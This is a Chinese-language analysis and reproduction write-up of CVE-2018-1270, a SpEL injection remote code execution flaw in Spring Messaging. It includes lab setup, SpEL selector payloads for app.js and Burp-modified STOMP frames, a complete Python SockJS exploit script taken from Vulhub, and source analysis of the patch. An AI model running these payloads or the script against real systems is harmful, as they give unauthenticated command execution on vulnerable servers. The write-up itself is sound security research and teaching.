漏洞简介
Spring 框架中通过spring-messaging 模块来实现 STOMP (Simple Text-Orientated Messaging Protocol),STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行, spring-messaging和spring-websocket模块都能提供WebSocket支持的STOMP,一旦有了这些依赖项,就可以通过WebSocket使用SockJS Fallback公开STOMP端点。
具体的说,在Spring Messaging 中,其允许客户端订阅消息,并使用selector 过滤消息,其中 selector 使用SpEL 表达式编写,并使用StandardEvaluationContext解析,从而导致SpEL表达式注入漏洞。
推荐一篇文章 以理解 STOMP :Spring消息之STOMP - JMCui - 博客园 (cnblogs.com)
引用p神的描述:
spring-messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。 连接后端服务器的流程,可以理解为:
1. 用STOMP协议将数据组合成一个文本流
2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信
正是由于第2条的存在,我们才可以使用http来复现该漏洞,称之为“降维打击”
如同提及 Struts2 RCE 类漏洞都要提及OGNL 表达式语言
而 Spring 的RCE 类漏洞 往往和SpEL 表达式有关
环境搭建:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
回退到 漏洞版本
cd gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
然后导入到IDEA,进行MAVEN加载
运行成功:
漏洞复现:
方式一:
通过开发者工具F12 修改其中的 app.js 里面的 connect函数
如何修改,直接定义一个header,里面写入json格式的“selector”,值为SpEL表达式,内容是弹计算器;最后在加入该header
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
最后记得保存一下该app.js
这个时候,依次点击Connect,输入任意字符串,单击Send
利用完成了,但是感觉不是RCE,就像是修改本地文件一样。
但是如果你去Console 看一眼,你会发现整个通讯过程很多是js 完成的,不是app.js发起,就是调用 stomp.min.js 来发起
方式二:
从前面提到
STOMP是将数据组合成文本流,spring-messaging通过sockjs协议发送该文本流,走的是websocket或xhr其中一种通道
具体可以在 "网络" 可以看到
其实可以发现当你点击完Connect按钮以后,剩余的通讯过程双方全是通过Websocket进行了,当然通讯的内容我们也是可以直接在里面看的,切换到“Frames”选项卡,可以看见完整的通讯内容
当然,这个只能看不能改,能不能类似burp改http包来改包呢?
毕竟我们知道:burp是能拦截修改websocket数据包的,所以自然可以用于发现并修改整个connect和send的过程websocket的相关情况。同时改app.js这种方式本质上是发送的内容中加了header字段,里面写了selector和SpEL表达式实现命令执行。讲道理是可以用burp替代浏览器完成相关发包操作的。
如果这个时候你用burp抓一下Chrome浏览器的数据包,你会非常震惊地发现:
啥包都没抓到
如果遇到这个情况,你可以改用Firefox浏览器,就可以抓取到相关数据包
步骤1 :
先单击“Connect”按钮建立连接,依次抓取并释放,直到抓到内容为以下的websocket包时
在greetings后面添加payload(适用Windows系统),注意双引号使用反斜杠进行转义
完整pyload:
["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\"calc\").start()\n\n\u0000"]
步骤2:
在文本框中输入任意字符串即可,然后点击 "Send"
ta
使用burp修改websocket包这种方式适合漏洞复现,有点感觉,但是CVE-2018-1270这个漏洞,网上已经有POC和EXP流出了,有没有可以用python直接执行exp的脚本这种方式实现命令执行呢?
P牛在vulhub上已经贴出https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py
我们可以直接下载下来,使用的时候注意几点:
1. 使用spring的guides项目构建的环境无需修改路径,实际项目可能路径会发生变化; 2. 修改sockjs中的目标URL地址; 3. 修改sockjs的send方法中的seletor内容,修改想执行的命令 4. 建议使用python3.6及以上版本运行该exp;
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time() * 1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
整个过程如果顺利的话,就是这样,py里字符串是vulhub
简单看下脚本内容,实际上可以发现本EXP就是使用python将sockjs的send方法实现了一遍,实现了给指定url发送含有SpEL表达式的websocket请求。
对于本EXP(实际上是POC),P牛自己也阐述了大致流程和其中的局限性,这里引用一下:
1.基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址,如vulhub中为:/topic/greetings
4.如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
漏洞分析
不具体调试分析,只分析漏洞点,具体调试分析可以参考其他文章
从补丁的文件开始分析,即 spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
关键在于 addSubscriptionInternal()函数,这里对header参数进行了接收和处理,其中会获取header中的selector,当selector不为空时则设置到expression (表达式)中:
@Override
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
通过
sessionId
和subsId
确定一个selector
属性,后续服务端就通过这个subsId
来查找特定会话,也就是从headers
头部信息查找selector
,由selector
的值作为expression被执行
前面这是Subscribe操作时设置的selector,我们知道漏洞的触发是在Send之后,接着看下Send之后的函数调用。
看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java,其中有个
sendMessageToSubscribers()函数,即将我们要发送的数据发送给订阅者,其中参数message保存了此次连接的相关信息,message的头部信息包含了selector的属性,调用了findSubscriptions()函数:
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
...
}
我们跟进查看findSubscriptions()函数,位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中,这里将message传进来findSubscriptionsInternal()函数中:
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
...
return findSubscriptionsInternal(destination, message);
}
跟进findSubscriptionsInternal()函数,位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中,这里将message传入了filterSubscriptions()函数进行处理:
@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return filterSubscriptions(result, message);
}
跟进filterSubscriptions()函数,同样在DefaultSubscriptionRegistry.java中定义了,该函数获取前面配置的selector来对subscriptions进行过滤选择,如下
private MultiValueMap<String, String> filterSubscriptions(
MultiValueMap<String, String> allMatches, Message<?> message) {
if (!this.selectorHeaderInUse) {
return allMatches;
}
EvaluationContext context = null;
MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
if (info == null) {
continue;
}
Subscription sub = info.getSubscription(subId);
if (sub == null) {
continue;
}
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
continue;
}
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
catch (SpelEvaluationException ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to evaluate selector: " + ex.getMessage());
}
}
catch (Throwable ex) {
logger.debug("Failed to evaluate selector", ex);
}
}
}
return result;
}
分析得知,通过Expression expression = sub.getSelectorExpression();
来获取前面订阅时设置的Selector表达式,然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))
代码中调用了expression.getValue()函数,这就是漏洞触发点,成功触发了SpEL表达式注入漏洞。
补丁:
Re-use EvaluationContext in DefaultSubscriptionRegistry · spring-projects/spring-framework@e0de912 · GitHub
主要是修改了DefaultSubscriptionRegistry这个类,用SimpleEvaluationContext来替代了StandardEvaluationContext,也就是采用了SpEL表达式注入漏洞的通用防御方法。
参考文献:
spring-messaging Remote Code Execution 分析-【CVE-2018-1270】
浅析Spring Messaging之CVE-2018-1270 [ Mi1k7ea ]
IDEA动态调试分析Spring RCE CVE-2018-1270 - MeetSec遇安